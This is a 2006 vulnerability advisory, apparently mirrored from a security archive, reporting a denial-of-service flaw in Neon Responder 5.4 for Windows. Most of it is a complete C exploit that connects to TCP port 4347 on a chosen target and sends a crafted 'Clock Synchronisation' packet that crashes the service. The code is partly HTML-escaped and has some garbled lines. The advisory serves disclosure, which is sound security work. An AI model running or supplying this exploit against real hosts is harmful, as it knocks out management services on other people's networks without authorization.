Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:12283
HistoryApr 18, 2006 - 12:00 a.m.

Neon Responder (Dos,Exploit)

2006-04-1800:00:00
vulners.com
5

Author: Stefan Lochbihler
Date: 17.04.2006
Affected Software: Neon Responder for Windows
Software 5.4
Software http://www.neon.com/NRwin.shtml
Attack: Dos

Overview:
Neon Responders greatly enhance the functionality of LANsurveyor
by providing LANsurveyor with direct access to computers with the
Responder client installed. This direct access allows LANsurveyor
to provide complete hardware and software asset reports, distribute
software, and directly manage the client computers, either
individually or as a group.

Details:
Through a specially crafted "Clock Synchronisation" packet an
access violation occur and Neon Responder stops immediately.

Exploit:
/* Stefan Lochbihler*/

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#define PORT 4347
char CLOCK_MSG [] =
"\x00\x0e\x5a\x00\x4c\xe9\x24\xb1\x17\x88\x40\x84"; //Password = ""

void usage (char*);
void endpgr (char ,SOCKET, char);
unsigned long gethost (char *);

int main(int argc, char *argv[])
{

WSADATA wsa;
SOCKET client;
sockaddr_in peer;
WORD wsVersion;

char sendbuffer[16]=&quot;&quot;;
char recvbuffer[16]=&quot;&quot;;
unsigned long host=0;
int err=0;

if&#40;argc&lt;2&#41;
  usage&#40;argv[0]&#41;;

printf&#40;&quot;&#92;n~~~~~~ Neon Responder DoS - &#40;c&#41; by Stefan Lochbihler 


    if&#40;WSAStartup&#40;wsVersion=MAKEWORD&#40;2,2&#41;,&amp;wsa&#41;!=0&#41;
    {
        printf&#40;&quot;WSAStartup&#40;&#41; fail&#92;n&quot;&#41;;
        exit&#40;0&#41;;
    }

    printf&#40;&quot;&#37;s:[+] Try to create socket&#92;n&quot;,argv[0]&#41;;
    client=socket&#40;AF_INET,SOCK_STREAM,IPPROTO_TCP&#41;;
    if&#40;client==INVALID_SOCKET&#41;
       endpgr&#40;argv[0],client,&quot;[-] socket&#40;&#41; fail&quot;&#41;;

    printf&#40;&quot;&#37;s:[+] Lookup host&#92;n&quot;,argv[0]&#41;;
    if&#40;!&#40;host=gethost&#40;argv[1]&#41;&#41;&#41;
       endpgr&#40;argv[0],client,&quot;[-] host not found !&quot;&#41;;

    peer.sin_family = AF_INET;
    peer.sin_port = htons&#40;PORT&#41;;
    peer.sin_addr.s_addr = host;
    
    printf&#40;&quot;&#37;s:[+] Connect to &#37;s&#92;n&quot;,argv[0],argv[1]&#41;;
    err=connect&#40;client,&#40;SOCKADDR*&#41;&amp;peer,sizeof&#40;struct sockaddr_in&#41;&#41;;
    if&#40;err&#41;
      endpgr&#40;argv[0],client,&quot;[-] connect&#40;&#41; fail&quot;&#41;;

    memcpy&#40;sendbuffer,CLOCK_MSG,sizeof&#40;CLOCK_MSG&#41;&#41;;
    
    printf&#40;&quot;&#37;s:[+] Try to send packet&#92;n&quot;,argv[0]&#41;;
    err=send&#40;client,sendbuffer,sizeof&#40;sendbuffer&#41;,0&#41;;
    err=recv&#40;client,recvbuffer,sizeof&#40;recvbuffer&#41;-1,0&#41;;

    endpgr&#40;argv[0],client,&quot;[+] End successfully&quot;&#41;;

    return 0;

}

void usage&#40;char *pgrname&#41;
{
printf&#40;&quot;&#92;n~~~~~~ Neon Responder DoS - &#40;c&#41; by Stefan Lochbihler ~~~~~~&#92;n&#92;n&quot;&#41;;
printf&#40;&quot;&#37;s: &lt;Targethost&gt;&#92;n&quot;,pgrname&#41;;
exit&#40;0&#41;;
}

void endpgr &#40;char *pgrname, SOCKET client,char *msg&#41;
{
    printf&#40;&quot;&#37;s:&#37;s&#92;n&quot;,pgrname,msg&#41;;
    WSACleanup&#40;&#41;;
    closesocket&#40;client&#41;;
    exit&#40;0&#41;;
}

unsigned long gethost&#40;char *targethost&#41;
{
unsigned long host=0;
hostent *phost=NULL;


host=inet_addr&#40;targethost&#41;;
if&#40;host==INADDR_NONE&#41;
{
    if&#40;&#40;phost=gethostbyname&#40;targethost&#41;&#41;==NULL&#41;
       return 0;
    host=*&#40;unsigned long*&#41;phost-&gt;h_addr;
}

return host;   
}


Vendor Status: The Vendor is informed !


Discovered and Copyright by
Lochbihler Stefan
http://www.xion-security.at